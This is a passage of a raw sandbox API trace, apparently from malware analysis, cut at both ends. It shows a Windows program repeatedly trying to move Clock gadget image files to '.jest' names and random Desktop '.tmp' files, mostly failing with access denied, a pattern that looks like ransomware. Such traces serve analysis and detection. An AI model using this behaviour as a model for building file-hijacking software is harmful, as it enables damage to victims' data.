lpFilePart=0x18e708*="diner_m.png") returned 0x4e [0125.760] GetFullPathNameA (in: lpFileName="nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp", lpFilePart=0x18e6e4*="nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp") returned 0x8e [0125.760] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7955776e, cFileName="9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.760] GetLastError () returned 0x2 [0125.760] GetLastError () returned 0x2 [0125.760] SetLastError (dwErrCode=0x2) [0125.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.763] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", lpFilePart=0x18e870*="diner_s.png") returned 0x4e [0125.768] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png.jest", lpFilePart=0x18e870*="diner_s.png.jest") returned 0x53 [0125.769] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", lpFilePart=0x18e6d8*="diner_s.png") returned 0x4e [0125.770] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ec53fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x78, dwReserved1=0x0, cFileName="diner_s.png", cAlternateFileName="")) returned 0x143ce48 [0125.770] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.770] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", lpFilePart=0x18e780*="diner_s.png") returned 0x4e [0125.771] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", lpFilePart=0x18e780*="diner_s.png") returned 0x4e [0125.771] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.771] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x27f)) [0125.771] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x27f)) [0125.771] GetUserDefaultLCID () returned 0x409 [0125.772] VarBstrFromR4 (in: fltIn=0x479444d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.64") returned 0x0 [0125.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="\x16") returned 1 [0125.772] GetFullPathNameA (in: lpFileName="gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp", lpFilePart=0x18e708*="gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp") returned 0x8e [0125.773] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png", lpFilePart=0x18e708*="diner_s.png") returned 0x4e [0125.773] GetFullPathNameA (in: lpFileName="gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp", lpFilePart=0x18e6e4*="gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp") returned 0x8e [0125.773] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gcbymbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x79626367, cFileName="mbslg5JGJv2xy_i-hKRKnn3nASZOnp3jrtn1 N_4MQ7UW-VKS82E8LhUHwMQt9tExMkzjjPK EE7oIRNGEtd-BJOJhtSoTm3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.773] GetLastError () returned 0x2 [0125.773] GetLastError () returned 0x2 [0125.773] SetLastError (dwErrCode=0x2) [0125.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.774] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.775] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png.jest")) returned 0 [0125.776] GetLastError () returned 0x5 [0125.776] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷⹲湰g") returned 0x4d [0125.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0125.776] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷⹲湰g") returned 0x4d [0125.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x14cf144, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png") returned 78 [0125.776] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷⹲湰⹧敪瑳") returned 0x52 [0125.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0125.776] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷⹲湰⹧敪瑳") returned 0x52 [0125.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=83, lpWideCharStr=0x144bb04, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png.jest") returned 83 [0125.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", lpUsedDefaultChar=0x0) returned 78 [0125.776] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", lpFilePart=0x18e6d8*="flower.png") returned 0x4d [0125.776] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x78, dwReserved1=0x0, cFileName="flower.png", cAlternateFileName="")) returned 0x143ce48 [0125.777] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="ÿ") returned 1 [0125.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.779] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0125.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.780] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0125.780] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.780] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x28f)) [0125.780] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x28f)) [0125.780] GetUserDefaultLCID () returned 0x409 [0125.780] VarBstrFromR4 (in: fltIn=0x479444d4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.66") returned 0x0 [0125.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0125.782] GetFullPathNameA (in: lpFileName="uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp", lpFilePart=0x18e708*="uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp") returned 0x8f [0125.782] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png", lpFilePart=0x18e708*="flower.png") returned 0x4d [0125.782] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhiaxqk5tkfpd0rtq12njwkc0l0rnw1mq3zizkvaxtbeznhzv87y0rplyri7eexm9sb7wmkqmrnvwjivedymy1srsdchyni9olwnb.tmp")) returned 0 [0125.782] GetLastError () returned 0x5 [0125.782] GetLastError () returned 0x5 [0125.782] SetLastError (dwErrCode=0x5) [0125.782] GetLastError () returned 0x5 [0125.783] SetLastError (dwErrCode=0x5) [0125.783] GetLastError () returned 0x5 [0125.783] SetLastError (dwErrCode=0x5) [0125.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.783] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.783] GetFullPathNameA (in: lpFileName="uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp", lpFilePart=0x18e6e4*="uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp") returned 0x8f [0125.783] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uhiAXQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x41696875, cFileName="XQk5tKFpD0rtq12njWKC0l0rNW1mq3zIZkvaXTBEZNhZV87Y0rPLYRI7eExm9sB7wmkqmRnVwjivEdymY1SrSDchyNI9oLwnB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.783] GetLastError () returned 0x2 [0125.783] GetLastError () returned 0x2 [0125.783] SetLastError (dwErrCode=0x2) [0125.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.784] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.790] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.790] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.790] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.790] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.791] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.791] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.791] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.791] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.792] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.792] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.792] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.792] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.793] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.793] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.793] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.793] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.793] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.794] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.794] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.794] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.794] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.795] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.795] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.795] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.795] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.796] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.796] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.796] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.796] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.797] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.797] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.797] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.797] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.798] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.798] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.798] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.798] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.799] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.799] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.799] VarCmp (pvarLeft=0x18eae4, 